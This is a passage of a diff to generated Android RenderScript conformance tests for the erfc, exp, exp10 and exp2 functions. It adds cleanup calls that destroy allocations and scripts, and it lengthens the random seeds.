+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testErfcFloat3Float3(inV, out);
             verifyResultsErfcFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkErfcFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xa35e8b77l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb9a7e078a35e8b77l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testErfcFloat4Float4(inV, out);
             verifyResultsErfcFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testErfcFloat4Float4(inV, out);
             verifyResultsErfcFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkErfcHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa498d5f1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x93983d4aa498d5f1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testErfcHalfHalf(inV, out);
             verifyResultsErfcHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testErfcHalfHalf(inV, out);
             verifyResultsErfcHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkErfcHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7b1847cbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x691c0027b1847cbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testErfcHalf2Half2(inV, out);
             verifyResultsErfcHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testErfcHalf2Half2(inV, out);
             verifyResultsErfcHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkErfcHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xda200cbfl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x691caa3da200cbfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testErfcHalf3Half3(inV, out);
             verifyResultsErfcHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testErfcHalf3Half3(inV, out);
             verifyResultsErfcHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkErfcHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3927d1b3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x691d5453927d1b3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testErfcHalf4Half4(inV, out);
             verifyResultsErfcHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testErfcHalf4Half4(inV, out);
             verifyResultsErfcHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testErfcHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsErfcHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.java
index 53e468c..e7a4c3c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestExpRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkExpFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x35f888fcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x45e6c49035f888fcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testExpFloatFloat(inV, out);
             verifyResultsExpFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExpFloatFloat(inV, out);
             verifyResultsExpFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkExpFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x948fa500l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdf9c6adc948fa500l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testExpFloat2Float2(inV, out);
             verifyResultsExpFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExpFloat2Float2(inV, out);
             verifyResultsExpFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkExpFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8aaac5del, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdf9e33f78aaac5del, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testExpFloat3Float3(inV, out);
             verifyResultsExpFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExpFloat3Float3(inV, out);
             verifyResultsExpFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkExpFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x80c5e6bcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdf9ffd1280c5e6bcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testExpFloat4Float4(inV, out);
             verifyResultsExpFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExpFloat4Float4(inV, out);
             verifyResultsExpFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkExpHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd81f8cc6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xaaae37fd81f8cc6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testExpHalfHalf(inV, out);
             verifyResultsExpHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExpHalfHalf(inV, out);
             verifyResultsExpHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkExpHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa316d038l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc443643a316d038l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testExpHalf2Half2(inV, out);
             verifyResultsExpHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExpHalf2Half2(inV, out);
             verifyResultsExpHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkExpHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x21e952cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc4440e5021e952cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testExpHalf3Half3(inV, out);
             verifyResultsExpHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExpHalf3Half3(inV, out);
             verifyResultsExpHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkExpHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x61265a20l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc444b8661265a20l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testExpHalf4Half4(inV, out);
             verifyResultsExpHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExpHalf4Half4(inV, out);
             verifyResultsExpHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExpHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExpHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.java
index aa22da8..5e8310e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp10.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestExp10Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkExp10FloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc123e2edl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc5df97aec123e2edl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testExp10FloatFloat(inV, out);
             verifyResultsExp10FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExp10FloatFloat(inV, out);
             verifyResultsExp10FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkExp10Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc0ac42a9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2bc94277c0ac42a9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testExp10Float2Float2(inV, out);
             verifyResultsExp10Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExp10Float2Float2(inV, out);
             verifyResultsExp10Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkExp10Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb6c76387l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2bcb0b92b6c76387l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testExp10Float3Float3(inV, out);
             verifyResultsExp10Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExp10Float3Float3(inV, out);
             verifyResultsExp10Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkExp10Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xace28465l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2bccd4adace28465l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testExp10Float4Float4(inV, out);
             verifyResultsExp10Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExp10Float4Float4(inV, out);
             verifyResultsExp10Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkExp10HalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe916fd3fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb6d58743e916fd3fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testExp10HalfHalf(inV, out);
             verifyResultsExp10HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExp10HalfHalf(inV, out);
             verifyResultsExp10HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkExp10Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2e422a29l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8c3d09622e422a29l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testExp10Half2Half2(inV, out);
             verifyResultsExp10Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExp10Half2Half2(inV, out);
             verifyResultsExp10Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkExp10Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8d49ef1dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8c3d14038d49ef1dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testExp10Half3Half3(inV, out);
             verifyResultsExp10Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testExp10Half3Half3(inV, out);
             verifyResultsExp10Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkExp10Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xec51b411l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8c3d1ea4ec51b411l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testExp10Half4Half4(inV, out);
             verifyResultsExp10Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testExp10Half4Half4(inV, out);
             verifyResultsExp10Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp10Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp10Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.java
index abc7f9d..e8a19d8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestExp2.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestExp2Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkExp2FloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb8b72a10l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x58195894b8b72a10l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testExp2FloatFloat(inV, out);
             verifyResultsExp2FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testExp2FloatFloat(inV, out);
             verifyResultsExp2FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkExp2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe7690e74l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4eeb7f70e7690e74l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testExp2Float2Float2(inV, out);
             verifyResultsExp2Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testExp2Float2Float2(inV, out);
             verifyResultsExp2Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testExp2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsExp2Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkExp2Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdd842f52l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4eed488bdd842f52l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
